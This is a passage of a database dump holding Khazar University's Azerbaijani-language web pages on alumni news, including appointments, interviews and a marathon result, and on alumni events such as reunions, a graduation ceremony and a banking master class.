göstərilir ki, Aygül İsayeva 2018-ci il iyunun 17-də Kvarelidə keçirilən və peşəkarların qatıldığı yarım marafonda&nbsp;21,1 km məsafəni 1 saat 56 dəqiqəyə qət edərək, qadınlar arasında 3-cü yerə çıxıb. Qarşısına böyük məqsədlər qoyan həmyerlimiz Gürcüstanın Kazbeki dağlarında keçirilən tam marafonu (42 km) da uğurla sona çatdırıb.</p><p>Xəbərin tam mətnini bu linkdə oxumaq olar:</p><p><a href=\"http://www.aznews.az/news/cemiyyet/182561.html#Kalibri\">http://www.aznews.az/news/cemiyyet/182561.html#Kalibri</a></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br>  <h3>Xəzər Universitetinin məzunu müsahibə verdi</h3><p><img src=\"/files/letters/khayala_e.jpg\" style=\"border:0px #000000;float:left;width:250px;height:250px;margin-left:7px;margin-right:7px;margin-bottom:7px\">2018-ci il iyunun 8-də <strong><em>Banker.az</em></strong> saytında Xəzər Universitetinin, INSEAD-ın, Kembric Universitetin məzunu, Microsoft, BP və PwC London kimi şirkətlərin əməkdaşı olmuş Xəyalə xanım Elyazova ilə müsahibəni yayınlamışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/\">http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/</a>.</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>“Kaspi” qəzetinin internet səhifəsində Xəzər Universitetinin məzunu ilə müsahibə dərc olunmuşdur  <br></h3><p><img src=\"/files/letters/reshad_i.gif\" style=\"width:250px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">2018-ci il iyunun 1-də gündəlik ictimai-siyasi nəşr olan “Kaspi” qəzetinin internet səhifəsində Xəzər Universitetinin məzunu, ADA Universitetinin İctimai və Beynəlxalq Münasibətlər İnstitutunun baş müəllimi Rəşad İbadovla “Uğur hekayəsi” rubrikasında “Uğuru şəxsi keyfiyyətlər və qazandığın nailiyyətlər gətirir” sərlövhəli müsahibə dərc olunmuşdur. Müsahibənin müəllifi Aygün Əzizdir.</p><p>Müsahibəni bu linkdə oxumaq olar:</p><p><a href=\"http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri\">http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri</a></p><p><br></p>  <h3><br></h3><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><h3>Xəzər Universitetinin məzunu İlahiyyat İnstitutuna rektor təyin olunub<br></h3><p><img src=\"/files/letters/c_memmedov.jpg\" style=\"border:0px #000000;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:280px;height:140px\">Azərbaycan Respublikası Prezidenti İlham Əliyevin&nbsp;31 may 2018-ci il tarixli sərəncamı ilə Xəzər Universitetinin magistratura məzunu Ceyhun Məmmədov yeni yaradılmış İlahiyyat İnstitutunun ilk rektoru təyin edilmişdir.</p><p>C.Məmmədov 1991-1994-cü illərdə Suriyanın Dəvət və İrşad institutunda, 1994-1998-ci illərdə Liviya Ərəb Sosialist Xalq Cəmahiriyyəsi Universitetində ərəb dili və dinşünaslıq üzrə bakalavr dərəcəsini bitirib. 2000-2002-ci illərdə isə Azərbaycanda Xəzər Universitetinin magistraturasında təhsil alıb.</p><p>C.Məmmədov ilahiyyat üzrə fəlsəfə doktorudur və Azərbaycan Dillər Universitetində dərs deyir. 1 kitab, 20 elmi məqalənin müəllifidir.</p><p>2001-2014-cü illərdə Dini Qurumlarla İş üzrə Dövlət Komitəsində müxtəlif şöbələrdə çalışıb. 2015-ci ildən rektor təyin olunanadək Prezident Administrasiyasının Millətlərarası münasibətlər, multikulturalizm və dini məsələlər şöbəsində böyük məsləhətçi vəzifəsini tutub.</p><p>Aşağıdakı linklərdən də əlavə məlumat almaq olar:</p><p><a href=\"http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665\">http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=29943#Kalibri\">http://tehsil-press.az/index.php?newsid=29943#Kalibri</a></p>  <p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>Xəzər Universitetinin məzunu prorektor təyin olundu</h3><p><img src=\"/files/letters/anar_r.jpg\" style=\"border:0px  #000000;width:280px;height:186px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Azərbaycanın media orqanlarının verdiyi xəbərə görə, Azərbaycan Respublikasının Təhsil naziri Ceyhun Bayramovun əmri ilə Xəzər Univeritetinin məzunu Anar Yaşar oğlu Rzayev UNEC-in (Azərbaycan Dövlət İqtisad Universiteti) Beynəlxalq əlaqələr və proqramlar üzrə prorektoru təyin edilmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/\">https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/</a></p><p><a href=\"http://www.abc.az/en/news/9692\">http://www.abc.az/en/news/9692</a></p><p><a href=\"http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html\">http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html</a></p><p><a href=\"https://en.trend.az/azerbaijan/society/2904042.html\">https://en.trend.az/azerbaijan/society/2904042.html</a></p><p><br></p>  \r\n<h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><h3>ABB-nin departament rəhbəri yeni ekspert qrupuna rəhbərlik edəcək&nbsp;</h3><p><img src=\"/files/letters/abb.jpg\" style=\"float:left;width:300px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Azərbaycan Banklar Assosiasiyasının (ABA) nəzdində yaradılacaq “Ticarətin və layihələrin maliyyələşdirilməsi üzrə” yeni Ekspert Qrupunun formalaşdırılması üzrə iclas keçirilib.&nbsp;</p><p>ABA-dan \"APA-Economics\"ə verilən məlumata görə, iclasda Ekspert Qrupunun&nbsp;fəaliyyətinin əhatə edəcəyi sahələr, qarşısında duran məsələlər və onların həlli imkanlarından danışılıb.&nbsp;</p><p>Qrupun fəaliyyəti əsasən aşağıdakı istiqamətləri əhatə edəcək:</p><p>– Azərbaycan Respublikasının qanunvericiliyinin akkreditiv, qarantiyaların, inkasso və sair sənədli əməliyyatların beynəlxalq qanunvericiliyin tələblərinə uyğunluğunun təhlil edilməsi;</p><p>– sözügedən bank məhsullarının təqdim edilməsində qarşıya çıxan və potensial problemlərin müzakirəsi;</p><p>&nbsp;– Qeyd olunan sahədə beynəlxalq standartların tətbiq edilməsi imkanlarının araşdırılması və ölkədə bank fəaliyyətinin tənzimlənməsini həyata keçirən orqanlar tərəfindən normativ aktlarda dəyişikliklərin aparılması zamanı müvafiq təkliflərin verilməsi;&nbsp;</p><p>– xarici banklarla əlaqələrin qurulması və genişləndirilməsi perspektivlərinin nəzərdən keçirilməsi;&nbsp;</p><p>– ixrac kredit agentlikləri və digər xarici maliyyə institutları vasitəsilə Azərbaycanda irimiqyaslı, uzunmuddətli layihələrin maliyyələşdirilməsi sahəsində imkanların araşdırılması, yerli və xarici banklarla təcrübə mübadiləsi, bu istiqamətlərdə aparılan gündəlik əməliyyatlarda qarşıya çıxan problemlərə dair müzakirələrin aparılması və məqsədəuyğun tövsiyələrin verilməsi kimi məsələləri əhatə edəcəyi bildirilib.&nbsp;</p><p>İclasın sonunda “Ticarətin və layihələrin maliyyələşdirilməsi üzrə” yeni Ekspert Qrupunun yaradılması zərurəti və Qrupa sədr qismində “<a href=\"http://apa.az/tag/Az%C9%99rbaycan-Beyn%C9%99lxalq-Bank%C4%B1\">Azərbaycan Beynəlxalq Bankı</a>” ASC-nin Korporativ biznes departamentinin direktoru – Yasin Cəlilovun namizədliyinin Azərbaycan Banklar Assosiasiyasının Rəyasət Heyətinə təklif edilməsi qərara alınıb.&nbsp;</p><p>Qeyd edək ki, Yasin Cəlilov “Xəzər” Universitetində beynəlxalq iqtisadi əlaqələr və Bakı Sosial İdarəetmə və Politologiya İnstitutunda politoloq ixtisasları üzrə bakalavr, Azərbaycan Dövlət neft Akademiyasında isə iqtisadiyyat və menecment ixtisası üzrə magistr dərəcəsinə yiyələnib. Həmçinin 2015-2018-ci illərdə Böyük Britaniyanın “Warwick Business School” ali məktəbində MBA dərəcəsi üzrə təhsilini davam etdirib.&nbsp;</p><p>Yasin Cəlilov peşəkar fəaliyyətinə 1996-cı ildən&nbsp;<a href=\"http://apa.az/tag/Az%C9%99rbaycan-Beyn%C9%99lxalq-Bank%C4%B1\">Azərbaycan beynəlxalq bankı</a>nın Sənədli əməliyyatlar şöbəsində aparıcı mütəxəssis kimi başlayıb. O, qazandığı təcrübə sayəsində 2006-cı ildə daha məsul vəzifəyə təyin olunmaqla fəaliyyətini Korporativ biznes departamentinin direktor müavini – Ticarətin və layihələrin maliyyələşdirilməsi şöbəsinin müdiri kimi davam etdirib. 2011-ci ildən hal-hazıradək Korporativ biznes departamentinin direktoru vəzifəsində çalışır. Y.Cəlilov sənədli əməliyyatlar sahəsində 22 illik təcrübəyə malikdir və qazandığı təcrübə sayəsində bir çox ölkə daxili və xarici ticarət layihələrinin maliyyələşdirilməsində yaxından iştirak etməklə öz töhfəsini verib.&nbsp;</p><p>Qeyd edək ki, ABA 1990-cı ildə kommersiya bankları tərəfindən təsis edilib. ABA-nın əsas məqsədi üzv təşkilatların maraqlarını qorumaq, onların müxtəlif növ işgüzar xidmətlərə olan ehtiyaclarının ödənilməsinə yardım göstərmək və fəaliyyətlərini əlaqələndirməkdən ibarətdir. Hazırda 29 bank və 3 qeyri-bank təşkilatı ABA-nın üzvüdür.</p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3>Xəzər Universitetinin məzunu xəbər saytına müsahibə verdi  <br></h3><p>2018-ci il fevralın 19-da <strong><em>Banko.az</em></strong> xəbər saytı Xəzər Universiteti Təhsil fakültəsinin məzunu Barat Əlizadə ilə “Gənc biznesmen: “İndi isə bütün böyük adamlar kimi vərdişlərimin quluyam!” başlıqlı müsahibənin mətnini yayınlamışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam\">http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam</a>.</p>  <h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><h3>Xəzər Universitetinin məzunu “Kaspi”yə müsahibə verdi</h3><p>2018-ci il yanvarın 19-da “Kaspi” qəzetinin rəsmi internet səhifəsində Xəzər Universiteti Humanitar və sosial elmlər fakültəsini jurnalistika ixtisası üzrə bitirmiş, hazırda “Astara” qəzetinin baş redaktoru kimi faəliyyət göstərən Fəridə Ağazadə ilə müsahibə yayınlamışdır.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru\">http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru</a>.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><div><h3>Xəzər Universitetinin məzunu AGF-in Baş katibi vəzifəsinə seçildi&nbsp;</h3><p>Xəbər verildiyi kimi, 2003-cü ildə Xəzər Universitetindən ingilis dili və ədəbiyyatı ixtisası üzrə magistr dərəcəsi almış Nurlana Məmmədzadə Azərbaycan Gimnastika Federasiyasının Baş katibi vəzifəsinə seçilmişdir.</p><p>Qeyd edək ki, N.Məmmədzadə 2007-2009-cu illərdə federasiyanın baş katibinin köməkçisi, 2009-cu ildən bu günədək müavini vəzifəsində çalışmışdır.</p><p>Bu linklər vasitəsilə daha geniş məlumat əldə etmək olar:</p><p><a href=\"https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;\">https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;</a></p><p><a href=\"http://www.xezerxeber.az/idman/186069.html\">http://www.xezerxeber.az/idman/186069.html</a>;</p><p><a href=\"http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/\">http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/</a>;</p><p><a href=\"http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-%C9%99liyevan%C4%B1n-r%C9%99hb%C9%99rlik-etdiyi-qurumda-kadr-t%C9%99yinat%C4%B1.html\">http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-əliyevanın-rəhbərlik-etdiyi-qurumda-kadr-təyinatı.html</a>;</p><p><a href=\"http://istiqlal.az/news/46022.html\">http://istiqlal.az/news/46022.html</a>;</p><p><a href=\"http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib\">http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib</a>;</p><p><a href=\"http://youthportal.az/az/news/detail.php?ID=119209\">http://youthportal.az/az/news/detail.php?ID=119209</a>;</p><p><a href=\"http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib\">http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib</a>;</p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://www.aznews.az/news/cemiyyet/159016.html;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">https://millixeber.az/agf-ə-yeni-bas-katib-təyin-edildi/;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\"></a><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.</a></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br>  <h3>“Caspian European Club”a baş icraçı direktor təyin edilib</h3><div> <div><img src=\"http://www.khazar.org/files/letters/829096.jpg\" style=\"border:0px #000000;float:left;width:250px;height:153px;margin:7px 7px 17px\"></div>“Report” xəbər verir ki, bu barədə “Caspian European Club” və “Caspian American Club” sədrinin I müavini Telman Əliyev məlumat verib.&nbsp;</div><div>Onun sözlərinə görə, M.Abbasbəyli uzun illər “Caspian European Club”un hüquq komitəsinə, gömrük və vergilər komitəsinə rəhbərlik edib: “O, biznes problemlərinin tədqiqində, Prezident İlham Əliyevə və Birinci vitse-prezident Mehriban Əliyevaya ünvanlanmış bütün təkliflərin hazırlanmasında fəal iştirak edib”.&nbsp;</div><div>Xatırladaq ki, Mustafa Aslan oğlu Abbasbəyli 1980-ci ildə Gəncə şəhərində anadan olub. O, 2000-ci ildə “Xəzər Universiteti”ni bitirərək “Beynəlxalq hüquq” ixtisasına yiyələnib, 2001-ci ildə “Türk dili” ixtisası üzrə Egey Universitetini, 2003-cü ildə Ankara Universitetini “Özəl hüquq” ixtisası üzrə bitirib, 2009-cu ildə Azərbaycan Milli Elmlər Akademiyasında dissertasiya müdafiə edərək hüquq elmləri üzrə fəlsəfə doktoru elmi dərəcəsini alıb.&nbsp;</div><div>Maliyyə sahəsi üzrə bir çox şirkətlərdə rəhbər vəzifələrdə çalışmış M.Abbasbəyli hazırda “Beyli Group” MMC-yə rəhbərlik edir, eyni zamanda Azərbaycan Dövlət İqtisad Universitetində dosent kimi çalışır. O, Vəkillər Kollegiyasının və Beynəlxalq Vəkillər Assosiasiyasının üzvüdür, 50-dən artıq elmi işin, həmçinin 3 kitabın müəllifidir.&nbsp;</div><div>Qeyd edək ki, “Caspian European Club” 2002-ci ilin iyununda Xəzər-Qara dəniz regionunda fəaliyyət göstərən nəhəng neft-qaz şirkətlərinin dəstəyilə yaradılıb. “Caspian European Club” və “Caspian American Club”un sədri Prezident İlham Əliyevdir.</div><div>Yarandığı ilk gündən “Caspian European Club” neft sahəsindən əldə olunan gəlirlərin qeyri-neft sektoruna cəlb olunmasına yardım edir. Sıralarında 5 mindən art%C</div></div>'),(2464,1491,'az','Tədbirlər','Tədbirlər','<h3>Məzunlarla görüş keçirildi  <br></h3><p>2017-ci il oktyabrın 19-da Xəzər Universiteti Məzunlarla İş Mərkəzinin təşkilatçılığı ilə universiteti 1996-1997-ci illərdə bitirmiş məzunlarla universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının görüşü keçirildi. Məzunları səmimi salamlayan professor Hamlet İsaxanlı onlarla yenidən görüşməkdən məmnun olduğunu bildirdi, Xəzər Universiteti ilə məzunlar arasında sıx əlaqələrin qurulmasının çox əhəmiyyətli və faydalı nəticələr verə biəcəyini vurğuladı. Məzunlardan “Primü Group LLC” şirkətinin rəhbəri Məmməd Abbasbəyli, GABEG Ltd” Şirkətinin təsisçisi və direktoru Yaşar İsgəndərov, “Barama K.M” Şirkətinin direktoru Yusif Hacıyev, “Caspian Breeze Travel” Turizm şirkətinin meneceri Murad Aslanov, “Bioworks” şirkətinin Xəzər regionu üzrə nümayəndəsi Yusif Məmmədli, Azərbaycan Respublikası Prezidenti Administrasiyasının əməkdaşı Səadət Novruzova, “General Elektronics İnternational” şirkətinin meneceri Kamran Nəsirov, Azərbaycan Respublikası Təhsil İnstitutu Ali Təhsilin İnkişafı şöbəsinin baş mütəxəssisi Aydın Babayev, eləcə də Nigar Abbasbəyli və Svetlana Əsgərova çıxış edərək, öz fəaliyyətləri barədə geniş məlumat verdilər, tələbəlik illərinin bir çox xatirələrini bölüşdülər. Məzunların ilk müəllimlərindən olmuş Firəngiz Nəsirova, Nabat Məmmədova, Roza Arazova, Xəzər Universiteti Multimedia Mərkəzinin direktoru Natella Barkaya da məzunları uzun illərdən sonra yenə də “Xəzər”də birlikdə görməkdən sevinc və qürur duyduqlarını bildirdilər. Xəzər Universiteti Məzunlar Assosiasiyasının vitse-prezidenti Ramal Əhmədov assosiasiyanın fəaliyyəti barədə görüş iştirakçılarına ətraflı məlumat verdi. Səmimiyyət və işgüzarlıq şəraitində keçən görüşdə Xəzər Universiteti ilə məzunlar arasında əlaqələrin gücləndirilməsi və sıx əməkdaşlığın qurulması sahəsində konkret təkliflər irəli sürüldü. Səmimi söhbət üçün məzunlara təşəkkür edən professor Hamlet İsaxanlı universitetlə məzunlar arasında işin sistemli şəkildə qurulmasının vacibliyini vurğuladı və öz konkret təklif və tövsiyələrini verdi.  <br></p><p><br></p><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\">“Xəzər”də 43-cü məzunluq mərasimi  <br></h3><p>2017-ci il oktyabrın 15-də Bakı Musiqi Akademiyasının Şövkət Məmmədova adına Opera Studiyasında Xəzər Universiteti məzunlarının 43-cü buraxılış (233 bakalavr, 62 magistr) mərasimi keçirildi. Mərasimdə universitetin rəhbərliyi, professor-müəllim heyəti, tələbələr, valideynlər və qonaqlar iştirak edirdilər. Mərasim universitetin Kamera orkestrinin ifasında Azərbaycan Respublikasının Dövlət Himni ilə başlandı.</p><p>Xəzər Universitetinin rektoru Nassan Niknafs məzunları təbrik edərək, gələcək işlərində onlara uğurlar arzuladı.</p><p>Qeyd olundu ki, 26 il ərzində universiteti, bugünkü məzunlar da daxil olmaqla 3271 bakalavr, 685 magistr bitirmişdir. Onlardan 811 nəfəri fərqlənmə diplomu ilə bitirmişdir. Aldıqları təhsil, qazandıqları bilik və bacarıqlar “Xəzər”in məzunlarına seçdikləri sahədə uğur qazanmalarına zəmin yaradır. Onlar dövlət qurumlarında, özəl şirkətlərdə çalışır, böyük layihələrə, yeniliklərə imza atırlar, xeyli hissəsi öz özəl işlərini qururlar.</p><p>Mərasimdə dünyanın müxtəlif ölkələrində fəaliyyət göstərən Xəzər Universitetinin əvvəlki məzunlarının təbrik video-çarxları nümayiş etdirildi. Sonra təbrik üçün Xəzər Universitetinin ilk məzunları dəvət edildi. Keçmiş məzunlar adından Xəzər Universitetinin Hüquq fakültəsini bitirmiş, hazırda ADA Universitetinin dosenti olan Rəşad İbadov çıxış etdi.</p><p>Daha sonra məzunlara diplomların təqdim olunması mərasimi başlandı. Diplomları rektor Hassan Niknafs, prorektorlar Məhəmməd Nuriyev, İsaxan İsaxanlı, İradə Xəlilova, fakültə dekanları, departament müdirləri və müəllimlər təqdim etdilər. Təqdimatdan sonra məzunların andiçmə mərasimi keçirildi, xatirə şəkilləri çəkildi.</p><p>Professor Hamlet İsaxanlı mərasimdə çıxış edərək, məzunlara yeni həyat yollarında uğurlar arzuladı. O, universitetdə yaradılmış əlverişli təhsil mühitindən, yalnız yüksək keyfiyyətli mütəxəssislər yox, eyni zamanda hərtərəfli inkişaf etmiş gənc nəsil yetişdirilməsindən, professor-müəllim heyətinin gərgin və səmərəli işindən, universitetin dünyanın aparıcı ali məktəbləri ilə hərtərəfli əlaqələrindən, maddi-texniki bazanın daim genişlənməkdə olmasından və “Xəzər”in beynəlxalq təşkilatların reytinq cədvəllərində daim fərqlənərək, Azərbaycan universitetləri arasında birinci yeri tutmasından, həmçinin universitetin gələcəkdə həyata keçirəcəyi tədbirlərdən ətraflı bəhs etdi.</p><p>Tədbir universitetin fakültə əməkdaşları və qızlardan ibarət rəs qrupunun konsert proqramı ilə davam etdirildi. Sonda mərasim universitetin müəllim və tələbələrdən ibarət xorunun möhtəşəm ifası ilə tamamlandı.</p>  <p><strong><br></strong></p><h3><strong><hr noshade=\"noshade\" style=\"width:100%;height:1px\">1996-1997-ci ilin məzunları ilə görüş keçirildi</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">2017-ci il mayın 15-də&nbsp;Xəzər Universitetini 1996-1997-ci illərdə bitirmiş məzunlarla universitetdə görüş keçirildi. Əvvəlcə, universitetin Məzunlarla İş Mərkəzinin müdiri Baba Bayramlı məzunları salamladı və görüşün məqsəd və gözləntiləri barədə iştirakçılara məlumat verdi.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Sonra universitetin rektoru Dr. Hassan Niknafs məzunlarla universitet arasında sıx qarşılıqlı əlaqələrin qurulmasının əhəmiyyətini vurğuladı və məzunlarla belə bir əməkdaşlığın uğurlu nəticələr verəcəyinə ümidvar olduğunu bildirdi. Öz keçmiş tələbələri ilə yenidən görüşməkdən məmnun olduğunu bildirən professor Məhəmməd Nuriyev məzunları universitet həyatında fəal iştirak etməyə səslədi və onların öz uğurları barədə “Xəzər Xəbər” jurnalında silsilə yazılar dərc etdirməsinin tələbələr üçün çox maraqlı və faydalı ola biləcəyini qeyd etdi. Xəzər Universiteti Məzunlar Assosiasiyasının vitse-prezidenti Ramal Əhmədov qurumun fəaliyyəti barədə məlumat verdi və məzunları assosiasiyanın üzvləri sırasına qoşulmağa dəvət etdi. Məzunlardan “BP- Azərbaycan” şirkətinin maliyyə meneceri Azər Qasımov, “Paşa Holding”-in şöbə müdiri Mirbağır Mirbabayev, Macarıstan Ticarət Palatasının Azərbaycan və Gürcüstan üzrə nümayəndəliyinin rəhbəri Anar Kərimov, “Marketsaz” şirkətinin icraçı direktoru Aydın Babayev, “Aristokrat” Turizm şirkətinin şöbə müdiri Murad Aslanov, Azərbaycan Respublikası Məcburi Köçkünlərin Sosial İnkişaf Fondunun direktor müavini Namiq İbrahimov, ARPA İctimai Birliyinin Himayəçilər Şurasının sədri Rüfət Mahmud, “Barama K.M.” şirkətinin direktoru Yusif Hacıyev, “Bioworks” şirkətinin Xəzər regionu üzrə nümayəndəsi Yusif Məmmədli, “Nort West Construction” şirkətinin maliyyə müdiri Xalid Acalov, “SOLUS MMC” şirkətinin satış meneceri Kamran İsgəndərov, “Real MMC” şirkətinin meneceri Samir Nuriyev, “Azintellectservis” şirkətinin icraçı direktoru Kamran Behbudov, “Gəmi Qaya MMC” şirkətinin meneceri Eldar Lətifov və “GABEG Ltd” şirkətinin təsisçisi və direktoru Yaşar İsgəndərov çıxış edərək, görüşdən məmnunluq duyduqlarını və bu görüşlərin müntəzəm təşkilinin və Xəzər Universiteti ilə daha sıx əlaqələr qurmağın zəruri olduğunu söylədilər, həmçinin, öz fəaliyyətləri haqqında qısa məlumat verdilər.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Tarix və arxeologiya departamentinin müdiri Roza Arazova, İngilis dili departamentinin müəllimi Firəngiz Nəsirova, Akademik Keyfiyyətin Təminatı&nbsp;mərkəzinin müdiri Lyudmila Sotova və İqtisadiyyat və menecment fakültəsinin dekani Ceyhun Məmmədov görüşdə iştirak etdilər.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>İqtisadiyyat və menecment fakültəsinin tələbələri üçün ustad dərsi</strong></h3><p><span style=\"color:#252525\">2017-ci il fevralın 25-də Xəzər Universitetinin Məzunlar Assosiasiyası və Məzunlarla İş Mərkəzi universitetin İqtisadiyyat və menecment fakültəsinin tələbələri üçün “Bank risklərinin idarə olunması” mövzusunda ustad dərsi təşkil etdi. Məzunlarla İş Mərkəzinin müdiri Baba Bayramlı iştirakçıları salamladı və aktual mövzuda belə bir dərsin keçirilməsinin əhəmiyyətini vurğuladı. Tədbirin əvvəlində Məzunlar Assosiasiyasının prezidenti, “Bank of Baku” ASC İdarə Heyətinin sədri Eldar Həmidov assosiasiyanın devizi və loqosu barədə iştirakçılara məlumat verdi. Daha sonra isə Xəzər Universitetinin məzunları – “Dəmir Bank” ASC-nin şöbə müdiri Ramal Əhmədov və “Bank of Baku” ASC-nin əməkdaşı Nigar Cabbarova “Bank riskləri və onların idarə olunması” mövzusunda çıxış etdilər. İqtisadiyyat və menecment fakültəsinin müəllimi Elvin Mirzəyevin də fəal iştirak etdiyi dərs müzakirə şəraitində keçdi</span></p><p><span style=\"color:#252525\"><br></span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong><strong>İqtisadiyyat və menecment\r\nfakültəsinin məzunları ilə görüş keçirildi</strong>&nbsp;</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2016-cı il dekabrın 10-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsini 2016-cı ildə bitirmiş bakalavr məzunlarının bir qrupu ilə universitet rəhbərliyinin görüşü keçirildi. Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı məzunları salamladı və onları müzakirələrdə fəal olmağa çağırdı.  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İqtisadiyyat\r\nvə menecment fakültəsinin dekanı Dr. İnqilab Əhmədov tələbələrə fakültənin\r\nmagistr proqramları barədə ətraflı məlumat verdi və məzunlara təhsillərini Xəzər\r\nUniversitetində davam etdirməyi tövsiyə etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin rektoru Dr. Hassan Niknafs və İdarəetmə və tələbə işləri üzrə\r\nprorektor Dr. İsaxan İsaxanlı məzunların Xəzər Universiteti haqqında fikirlərinin\r\nəhəmiyyətini 